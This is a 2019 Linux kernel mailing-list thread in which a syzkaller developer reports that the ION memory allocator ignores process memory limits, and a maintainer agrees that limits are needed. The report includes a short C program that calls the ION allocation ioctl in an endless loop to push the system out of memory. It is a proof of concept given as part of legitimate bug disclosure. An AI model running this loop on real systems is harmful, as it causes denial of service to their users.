On 7/17/19 12:31 PM, Alexander Popov wrote:
Hello!
The syzkaller [1] has a trouble with fuzzing the Linux kernel with ION Memory Allocator.
Syzkaller uses several methods [2] to limit memory consumption of the userspace processes calling the syscalls for testing the kernel:
- setrlimit(),
- cgroups,
- various sysctl.
But these methods don't work for ION Memory Allocator, so any userspace process that has access to /dev/ion can bring the system to the out-of-memory state.
An example of a program doing that:
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <linux/types.h> #include <sys/ioctl.h>
#define ION_IOC_MAGIC 'I' #define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \ struct ion_allocation_data)
struct ion_allocation_data { __u64 len; __u32 heap_id_mask; __u32 flags; __u32 fd; __u32 unused; };
int main(void) { unsigned long i = 0; int fd = -1; struct ion_allocation_data data = { .len = 0x13f65d8c, .heap_id_mask = 1, .flags = 0, .fd = -1, .unused = 0 };
fd = open("/dev/ion", 0); if (fd == -1) { perror("[-] open /dev/ion"); return 1; }
while (1) { printf("iter %lu\n", i); ioctl(fd, ION_IOC_ALLOC, &data); i++; }
return 0; }
I looked through the code of ion_alloc() and didn't find any limit checks. Is it currently possible to limit ION kernel allocations for some process?
If not, is it a right idea to do that? Thanks!
Yes, I do think that's the right approach. We're working on moving Ion out of staging and this is something I mentioned to John Stultz. I don't think we've thought too hard about how to do the actual limiting so suggestions are welcome.
Thanks, Laura
Best regards, Alexander